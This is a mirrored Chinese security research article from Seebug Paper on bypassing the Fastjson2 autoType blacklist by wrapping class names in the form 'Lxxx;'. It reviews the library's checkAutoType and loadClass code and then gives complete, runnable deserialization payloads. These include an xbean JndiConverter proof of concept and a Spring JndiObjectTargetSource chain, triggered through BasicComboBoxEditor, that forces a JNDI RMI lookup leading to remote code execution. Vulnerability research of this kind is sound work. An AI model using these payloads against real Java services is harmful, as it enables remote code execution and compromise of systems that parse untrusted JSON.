1

Fastjson2 黑名单 Bypass 与利用

 1 year ago
source link: https://paper.seebug.org/3017/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

作者:lhy
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]

Fastjson1在调用 JSON.parse 的时候出现过一些列的问题。早在 FastJson1.2.25-1.2.41 版本中就存在通过 L; 绕过的利用方法。

当时比较盛行的一种利用方式为

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","DataSourceName":"rmi://127.0.0.1:8085/xxx","AutoCommit":"false"}

Fastjson在解析类名时会删除开头的 L 和 结尾的 ;

最近笔者在看Fastjson2的时候与Fastjson1的黑名单进行了一些比较,也发现了一些问题。

Fastjson2黑名单bypass

Fastjosn2测试版本

 <dependency>
      <groupId>com.alibaba.fastjson2</groupId>
      <artifactId>fastjson2</artifactId>
      <version>2.0.38</version>
  </dependency>

首先检查一下在Fastjson2中 com/alibaba/fastjson2/reader/ObjectReaderProvider.java#checkAutoType 都做了什么。

 public Class<?> checkAutoType(String typeName, Class<?> expectClass, long features) {
        if (typeName == null || typeName.isEmpty()) {
            return null;
        }

        ...

        int typeNameLength = typeName.length();
        // 类名长度检测
        if (typeNameLength >= 192) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        // 不允许第一个字符为 [
        if (typeName.charAt(0) == '[') {
            String componentTypeName = typeName.substring(1);
            checkAutoType(componentTypeName, null, features); // blacklist check for componentType
        }

        if (expectClass != null && expectClass.getName().equals(typeName)) {
            afterAutoType(typeName, expectClass);
            return expectClass;
        }

        boolean autoTypeSupport = (features & JSONReader.Feature.SupportAutoType.mask) != 0;
        Class<?> clazz;

        ...

        clazz = loadClass(typeName);

        if (clazz != null) {
            // 判断是否为 QLDataSourceOrRowSet 类型的类
            if (ClassLoader.class.isAssignableFrom(clazz) || JDKUtils.isSQLDataSourceOrRowSet(clazz)) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    afterAutoType(typeName, clazz);
                    return clazz;
                } else {
                    if ((features & JSONReader.Feature.IgnoreAutoTypeNotMatch.mask) != 0) {
                        return expectClass;
                    }

                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }
        }

        afterAutoType(typeName, clazz);
        return clazz;
    }

眼尖的师傅一眼就可以发现了,在此时的版本中 Fastjson2 并没有对 L; 的场景进行处理。也就是我们在解析字符的时候,是可以传入 Lxxxx; 的。那么此时Fastjson2能否正确解析类呢。

然后我们跟进一下 com/alibaba/fastjson2/util/TypeUtils.java#loadClass 函数的处理流程。

public static Class loadClass(String className) {
    if (className.length() >= 192) {
        return null;
    }

    ...

    Class mapping = TYPE_MAPPINGS.get(className);
    if (mapping != null) {
        return mapping;
    }

    if (className.startsWith("java.util.ImmutableCollections$")) {
        try {
            return Class.forName(className);
        } catch (ClassNotFoundException e) {
            return CLASS_UNMODIFIABLE_LIST;
        }
    }

    // 可以看到此时 Fastjson2 是对 `Lxxx;` 进行了处理的
    if (className.charAt(0) == 'L' && className.charAt(className.length() - 1) == ';') {
        className = className.substring(1, className.length() - 1);
    }

    if (className.charAt(0) == '[' || className.endsWith("[]")) {
        String itemClassName = className.charAt(0) == '[' ? className.substring(1) : className.substring(0, className.length() - 2);
        Class itemClass = loadClass(itemClassName);
        if (itemClass == null) {
            throw new JSONException("load class error " + className);
        }
        return Array.newInstance(itemClass, 0).getClass();
    }

    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
    if (contextClassLoader != null) {
        try {
            return contextClassLoader.loadClass(className);
        } catch (ClassNotFoundException ignored) {
        }
    }

    try {
        return JSON.class.getClassLoader().loadClass(className);
    } catch (ClassNotFoundException ignored) {
    }

    try {
        return Class.forName(className);
    } catch (ClassNotFoundException ignored) {
    }

    return null;
}

看起来我们可以用Fastjson1中的一些名单进行bypass了。

如何RCE

在上一节中说道,Fastjson2在解析字符串时,可以通过使用 Lxxx; 的形式绕过他的黑名单限制,但是除了对于类名的判断,Fastjson2还有一些其他的黑名单检测方式,比如在 checkAutoType 时判断了一个类是否为 DataSource 相关的类。

让我们具体调试一下。

首先利用之前的poc尝试一下:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","DataSourceName":"rmi://127.0.0.1:8085/xxx","AutoCommit":"false"}

可以看到此时会去加载类了。

40aba246-d7dc-41fa-9a3d-a59014d88267.png-w331s

由于Fastjson2会对这个类名进行处理,所以不用担心找不到这个类。

f78488d5-500b-4f6d-89fc-7cc271dfcfcc.png-w331s

但是接下来Fastjson2还会进行进一步的判断。

bad5a04b-19f5-4f4c-82f9-707d67df9453.png-w331s

此时是无法过这个校验的。也就是这个我们尝试的poc在Fastjson2中无法使用。

要找到可以利用的POC也简单,只需要找一个不是 Datasource 相关的类即可。如下:

public static void main(String[] args) {
    String poc = "{\"@type\":\"Lorg.apache.xbean.propertyeditor.JndiConverter;\",\"asText\":\"rmi://127.0.0.1:8089/test\"}";
    Object obj = JSON.parse(poc, JSONReader.Feature.UseNativeObject,
    JSONReader.Feature.SupportAutoType);
    System.out.println(obj);
}

在使用上面的这个POC时,需要一个依赖。

<dependency> 
  <groupId>org.apache.xbean</groupId> 
  <artifactId>xbean-reflect</artifactId> 
  <version>4.15</version>
</dependency>

Spring框架中的依赖利用

为了继续深入找到一个被更加广泛引入的利用类,笔者对spring进行了进一步查找,发现在Spring中存在这么一个类:org.springframework.jndi.JndiObjectTargetSource ,这个类有一个 getTarget 方法,可以触发JNDI的调用。下面是一个最小调用的demo。

String poc3 = "{\n" +
                "    \"@type\":\"Lorg.springframework.jndi.JndiObjectTargetSource;\",\n" +
                "    \"jndiName\": \"rmi://127.0.0.1:12312/Exp\",\n" +
                "    \"jndiTemplate\": {\n" +
                "        \"@type\":\"org.springframework.jndi.JndiTemplate\",\n" +
                "        \"environment\": {\n" +
                "            \"java.naming.factory.initial\": \"com.sun.jndi.rmi.registry.RegistryContextFactory\"\n" +
                "        }\n" +
                "    }\n" +
                "}";

JndiObjectTargetSource o = (JndiObjectTargetSource) JSON.parse(poc3, JSONReader.Feature.SupportAutoType);
o.getTarget();

然后可以看到,当parse出该对象后,如果触发到了 getTarget 方法,就会调用到 JNDI的查询。

04437fd7-025e-4091-b7e4-9f98c7275853.png-w331s

为了让这个利用更加好用,还需要想一个办法让他能自动调用到 JndiObjectTargetSource 对象的 getTarget 方法。

熟系 Fastjson1的师傅可能会想到通过 json path 的方式,可以直接取target进行触发,但是这条路在 Fastjson2中是行不通的。

因此为了调用到 getTarget 方法,笔者这里想到了一条调用路径为:setXXX -> toString -> getTarget 。在这里直接给出一条可以用的链。

{
    "@type":"javax.swing.plaf.basic.BasicComboBoxEditor",
    "item":{
        "@type":"com.alibaba.fastjson2.JSONObject",
        "a": {
            "@type":"Lorg.springframework.jndi.JndiObjectTargetSource;",
            "jndiName": "rmi://127.0.0.1:12312/Exp",
            "jndiTemplate": {
                "@type":"org.springframework.jndi.JndiTemplate",
                "environment": {
                    "java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory"
                }
            }
        }
    }
}

Fastjson2 在构造 BasicComboBoxEditor 对象时,会调用它的 setItem 方法,而 setItem 方法会调用到 JSONObjecttoString 方法,然后会进一步调用到 JndiObjectTargetSourcegetTarget 方法。有兴趣的师傅可以自行调试一下。

完整利用demo如下。

String poc = "{\n" +
                "    \"@type\":\"javax.swing.plaf.basic.BasicComboBoxEditor\",\n" +
                "    \"item\":{\n" +
                "        \"@type\":\"com.alibaba.fastjson2.JSONObject\",\n" +
                "        \"a\": {\n" +
                "            \"@type\":\"Lorg.springframework.jndi.JndiObjectTargetSource;\",\n" +
                "            \"jndiName\": \"rmi://127.0.0.1:12312/Exp\",\n" +
                "            \"jndiTemplate\": {\n" +
                "                \"@type\":\"org.springframework.jndi.JndiTemplate\",\n" +
                "                \"environment\": {\n" +
                "                    \"java.naming.factory.initial\": \"com.sun.jndi.rmi.registry.RegistryContextFactory\"\n" +
                "                }\n" +
                "            }\n" +
                "        }\n" +
                "    }\n" +
                "}";

Object o = (Object) JSON.parse(poc, JSONReader.Feature.SupportAutoType);

其实这种bypass也不是Fastjson2全版本通杀的,原因在于只有 2.0.14 版本开始,loadClass 才会对 L; 进行处理。


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3017/


Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK